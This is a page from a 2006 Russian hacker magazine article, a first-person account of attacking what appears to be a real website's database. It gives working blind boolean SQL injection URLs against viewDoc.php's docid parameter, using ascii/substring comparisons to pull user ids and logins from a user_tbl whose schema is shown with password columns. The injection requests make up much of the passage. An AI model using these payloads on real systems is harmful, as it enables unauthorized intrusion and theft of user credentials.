Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #94, ОКТЯБРЬ 2006 г.

Тотальный дестрой TV

Longer

Хакер, номер #094, стр. 094-078-3


Здесь стоит сделать остановку и пояснить, как работает данный запрос. Я выбрал такое значение параметра docid, которое бы соответствовало реальному обращению к БД. В моем случае, если данных по запросу не было, то выдавалась пустая страница. Функция ascii(ch) возвращает ascii код символа ch; substring(str,num,count) возвращает из строки str, count символов, начиная с символа num. Исходя из того, что сценарий не вернул ничего полезного, прав на заход в mysql.user было явно недостаточно.

Продолжу рассказ о трепанации сценария. Я вспомнил, что у меня была структура БД, что явно упрощало действия. Посмотрев ее подробнее, мне удалось найти описание одной из таблиц:

CREATE TABLE `user_tbl` (

`user_id` int(11) NOT NULL auto_increment,

`type_id` int(11) NOT NULL default '0',

`fullname` varchar(255) default NULL,

`login` varchar(50) default NULL,

`passw` varchar(50) default NULL,

`email` varchar(50) default NULL,

`lastdate` datetime default NULL,

`document` text,

`profil` varchar(50) default NULL,

`sort` int(11) NOT NULL default '0',

`work` int(11) NOT NULL default '0',

PRIMARY KEY (`user_id`),

KEY `fullname` (`fullname`),

KEY `sort` (`sort`),

KEY `work` (`work`)

) TYPE=MyISAM AUTO_INCREMENT=14 ;

Сформировав запрос viewDoc.php?docid=1+AND+ascii(substring((SELECT+user_id+from+user_tbl+LIMIT+1),1,1))>47, я получил содержимое страницы viewDoc.php?docid=1, что говорило о правдивом результате. Затем сформировал еще один запрос viewDoc.php?docid=1+AND+ascii(substring((SELECT+user_id+from+user_tbl+LIMIT+1),1,1))<55 и опять получил положительный результат. Постепенно я подобрал первый ascii-код символа, и он был равен 49. Потом я решил проверить, имеет ли число больше двух символов: viewDoc.php?docid=1+AND+ascii(substring((SELECT+user_id+from+user_tbl+LIMIT+1),21))>47, и получил false (пустую страницу). Далее было решено узнать логин и пароль. Сделал запрос: viewDoc.php?docid=1+AND+ascii(substring((SELECT+login+from+user_tbl+WHERE+user_id=49+LIMIT+1),1,1))>1. Результат был false. Я выудил еще пару id, у всех был такой же результат. Меня интересовал один-единственный вопрос: есть ли хоть один нормальный id. В этом мне помог запрос viewDoc.php?docid=1+AND+ascii(substring((SELECT+login+from+user_tbl+WHERE+user_id+IS+NOT+NULL+LIMIT+1),1,1))>1 – и опять промах! Время было позднее, я на все забил и лег спать.

Назад на стр. 094-078-2  Содержание  Вперед на стр. 094-078-4